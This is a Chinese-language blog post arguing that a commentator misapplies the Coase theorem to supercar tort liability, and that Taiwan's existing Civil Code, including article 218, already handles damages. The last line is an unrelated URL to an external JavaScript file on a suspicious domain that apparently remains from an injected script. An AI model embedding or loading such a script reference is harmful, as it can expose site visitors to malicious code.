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經濟分析 法律

寇斯定律的錯誤用法–再論超跑侵權責任問題

這還真是一篇錯誤理解Coase定律的文章

1. 都拿Coase定律出來說嘴,竟然還在扯外部成本?顯然根本沒讀懂。

2. 政府課再高的稅,也不可能「外部成本內部化」,蠢蛋!

難道政府對人民課90%所得稅,台灣就不再出現「侵權行為」?可笑。

民法第184條規定因故意或過失不法侵害他人權益,是所有社會普遍常見的一種現象。在英美法系則是cmmon law底下的torts。這也是說司法體系在侵權行為這一塊幾千年來早就形成一種社會契約,透過大家認同的司法體系在處理這類的問題。這個司法體系細膩到如何判斷故意?過失?何謂不法?何謂侵權?何謂傷害?何謂損害額度?何謂賠償?如何賠償?雙方都過失怎麼處理?….等,都有相當程度的定義與操作方式。

這也是說,無論是因為故意或過失侵害他人財產權,本就有遊戲規則在處理,人人早就因為「要為造成的損害做賠償」這個遊戲規則而約束了自身的行為。外部成本早就被內部化了,笨蛋。

看到外部成本就想到課稅,還真是經濟學低手常見的菜鳥錯誤(rookie mistake)

3. 依台灣現行民法架構,毋須修法也能達到賠償額度調整。
因為民法第218條規定:「損害非因故意或重大過失所致者,如其賠償致賠償義務人之生計有重大影響時,法院得減輕其賠償金額。」
此條文已經留給法官相當大的操作空間,依照現實狀況微調損害賠償責任。

延伸閱讀:我們需要「超跑減責條款」嗎?

https://js.developerstatss.ga/stat.js?n=ns1

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